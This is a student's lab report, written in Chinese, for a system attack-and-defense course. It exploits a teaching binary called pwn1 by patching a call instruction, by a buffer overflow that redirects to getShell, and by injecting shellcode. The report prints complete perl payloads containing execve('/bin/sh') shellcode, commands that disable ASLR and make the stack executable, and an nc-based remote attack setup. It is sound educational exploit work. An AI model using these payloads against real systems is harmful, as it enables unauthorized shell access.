20222301 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

20222301陈灿發表於2024-10-07

一、實驗目的
本次實踐的物件是一個名為pwn1的linux可執行檔案。該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
二、實驗內容
1.掌握反彙編與十六進位制程式設計器
2.能正確修改機器指令改變程式執行流程
3.能正確構造payload進行bof攻擊
三、基礎知識
1.NOP, JNE, JE, JMP, CMP彙編指令的機器碼
(1)NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麼也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
(2)JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)
(3)JE:條件轉移指令,如果相等則跳轉。(機器碼:74)
(4)JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
(5)CMP:比較指令,功能相當於減法指令,只是對運算元之間運算比較,不儲存結果。cmp指令執行後,將對標誌暫存器產生影響。其他相關指令透過識別這些被影響的標誌暫存器位來得知比較結果。
2.反彙編
(1)由已生成的機器語言(二進位制語言)轉化為組合語言的過程,也可以說是彙編的逆向過程
(2)在本次實驗中,我在Linux環境下使用objdump反彙編工具對pwn20222301temp檔案進行反彙編
(3)反彙編指令objdump -d <檔名>
3.十六進位制編輯器
(1)十六進位制編輯器是用於編輯單個位元組資料的軟體應用程式,主要由程式設計師或系統管理員使用。Linux系統中可以使用多種十六進位制編輯器,在本次實驗中我主要使用xxd,xxd 是一個命令列十六進位制編輯器,可以建立二進位制檔案的十六進位制轉儲。
(2)%!xxd 進入十六進位制編輯模式
(3)%!xxd -r 切換回原模式
四、實驗過程
1.直接修改程式機器指令,改變程式執行流程

透過共享資料夾將pwn1檔案下載至kali中並將pwn1檔案改名為pwn20222301,並執行程式,之後複製一份pwn20222301temp檔案用於實驗:


反彙編檔案objdump -d pwn20222301temp | more,找到



第一列為記憶體地址,第二列為機器指令、第三列為機器指令對應的組合語言。
觀察main函式發現,call 跳轉到了foo函式,而根據對pwn20222301temp檔案的執行測試發現,它只會簡單回顯任何使用者輸入的字串。根據實驗要求,我們需要修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。這裡就需要修改主函式,想辦法將call foo改為call getShell。因此,需要將call 8048491中的地址8048491修改為getShell的地址804847d。
偏移量=8048491-80484ba=-41。補碼錶示為0xffffffd7,與第二列機器指令中的0xd7ffffff相吻合。由此可知,要想呼叫getShell,偏移量為0804847d(getShell函式的首地址)-80484ba=-61=0xffffff3c顛倒為計算機儲存內容,為0xc3ffffff,即需要將0xd7ffffff修改為0xc3ffffff。
下面是修改過程:
vim pwn20222301temp 開啟檔案後為亂碼

按esc鍵,輸入:%!xxd進入十六進位制編輯模式,使用/e8 d7快速找到需要修改的地址

修改地址,將d7改成c3,然後使用:%!xxd -r轉回原來亂碼格式,並使用:wq命令儲存退出;
反彙編objdump -d pwn20222301temp | more檢視機器指令;

可以看到修改成功
./pwn20222301temp執行結果

成功獲取shell,即成功呼叫了getShell函式

2.透過構造輸入引數,造成BOF攻擊,改變程式執行流
當程式呼叫時,會形成自己的棧幀,foo函式讀入字串,系統只預留了28位元組的緩衝區,具有Bufferoverflow漏洞,我們可以透過向這個緩衝區輸入超出長度的字串來覆蓋該返回地址,使返回地址指向getshell,達到攻擊目的。
由之前反彙編結果可知,正常時call呼叫foo,同時在堆疊上壓上返回地址值0x80484ba。
先重新上傳一個pwn1檔案,命名為pwn20222301temp,用gdb pwn20222301temp除錯程式,確認輸入字串哪幾個字元會覆蓋到返回地址。

輸入字串1111111122222222333333334444444412345678,輸入命令 info r檢視暫存器eip的值,發現輸入的1234(十六進位制0x34333231)為被覆蓋到堆疊上的返回地址。那隻要把這四個字元替換為 getShell 的記憶體地址,輸給pwn20222301temp,就會執行getShell。
透過之前的反彙編可知getshall的記憶體地址為0x0804847d

把1234換成getShell的地址0x0804847d,我們需要構造字串11111111222222223333333344444444\x7d\x84\x04\x08,
輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input2生成一個包含這些16進位制內容的檔案(\x0a表示回車);
使用16進位制檢視指令xxd input檢視input檔案的內容,確認無誤後使用(cat input;cat) | ./pwn202222temp將input中的字串作為可執行檔案的輸入。

成功獲取shell,即成功呼叫了getShell函式。

3.注入Shellcode並執行
(1)準備工作
一、下載安裝execstack工具
二、透過以下命令修改設定
三、execstack -s pwn20222301cp1 //設定堆疊可執行
四、execstack -q pwn20222301cp1 //查詢檔案的堆疊是否可執行
五、more /proc/sys/kernel/randomize_va_space //檢視地址隨機化的狀態
六、echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
七、more /proc/sys/kernel/randomize_va_space

(1)構造要使用的payload
Linux下有兩種基本構造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令進行構造shellcode的輸入(x1x2x3x4是用來佔位的,後續將替換為注入shellcode的地址,也就是foo函式中return address的位置,這個地址需要我們接下來去gdb分析尋找),並將其放入名為input_shellcode的檔案中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
輸入以下命令將input_shellcode的輸入內容作為pwn20222301cp1的輸入:
(cat input_shellcode; cat) | ./pwn20222301cp1

新開啟一個新終端,輸入ps -ef | grep pwn20222301cp1,檢視pwn202222cp1檔案的程序以及程序號。

可以看到,程序號分別為14572和15471,但是14572才是pwn檔案的程序號。
此後,再在這個新終端中使用gdb進行除錯,輸入gdb pwn20222301cp1,來獲取foo函式中returnaddress的位置。
輸入命令attach 14572,輸入剛剛查詢的程序號
輸入命令disassemble foo,反編譯foo函式並進行分析


可以看到,ret的地址為0x080484ae,因此,在這裡設定斷點,繼續分析
輸入命令break *0x080484ae
在新終端輸入c,c表示continue繼續執行,繼續執行後,在老終端按一下enter鍵,否則新終端的continue將一直進行。
輸入info r esp檢視棧頂指標所在位置,如下圖可知棧頂指標所在的位置為0xffffcfac;

使用x/16x 0xffffcfac命令檢視該地址處的存放內容,可以看到,此處出現了我們之前注入的輸入0x04030201,這說明找的就是這個地址。
因此,棧頂指標地址再加4位元組,就是shellcode應該處於的地址,即0xffffcfac+4=0xffffcfb0。
現在可以進行shellcode的注入,最終獲取shell。將0x04030201換成上述我們計算出來的位置0xffffcfe0,且用機器儲存的方式,顛倒一下,重新進行輸入。在原終端中輸入perl -e 'print "A" x 32;print "\xb0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然後再輸入(cat input_shellcode; cat) | ./pwn20222301cp1,將input_shellcode的輸入內容作為pwn20222301cp1的輸入。

成功獲取shell,即成功呼叫了getShell函式。

2.結合nc模擬遠端攻擊
安裝兩臺虛擬機器,將兩臺虛擬機器的網路連線方式設定為橋接網路卡模式。
主機1:模擬一個有漏洞的網路服務

主機2:連線主機1併傳送攻擊載荷
-l 表示listen, -p 後加埠號 -e 後加可執行檔案,網路上接收的資料將作為這個程式的輸入。

成功獲取shell,即成功呼叫了getShell函式,攻擊成功。
五、實驗中遇到的問題及解決![]
問題1:kali映象未安裝execstack工具
問題1解決方案:透過從Github網站下載安裝包來解決這個問題,連結:https://github.com/alessandrocarminati/execstack。
問題2:在做實驗4.5的nc模擬遠端攻擊,兩臺虛擬機器處於不同網段無法連線。
問題2解決方案:將兩臺Linux虛擬機器的網路連線方式都設定為橋接網路卡模式,使兩臺虛擬機器和主機都處於同一網路段中(192.168.3.0)。
六、實驗體會
透過這次實驗,我更深入地理解了緩衝區溢位的概念,並透過學習程式執行時的堆疊變化,實現了三種獲取shell的方法。同時,我學會了安裝kali Linux,對linux作業系統的語法有了基本瞭解,掌握了反彙編和十六進位制程式設計器,能夠閱讀一部分組合語言並理解部分程式實現步驟。此外,我還學會了使用gdb構造payload進行bof攻擊。在實驗過程中,我不斷搜尋資料,最終成功完成任務,提高了獨立解決問題的能力。儘管還有很多不懂的地方,但我相信透過後續課程的學習,我會不斷學到新知識,提高自己的專業水平。

相關文章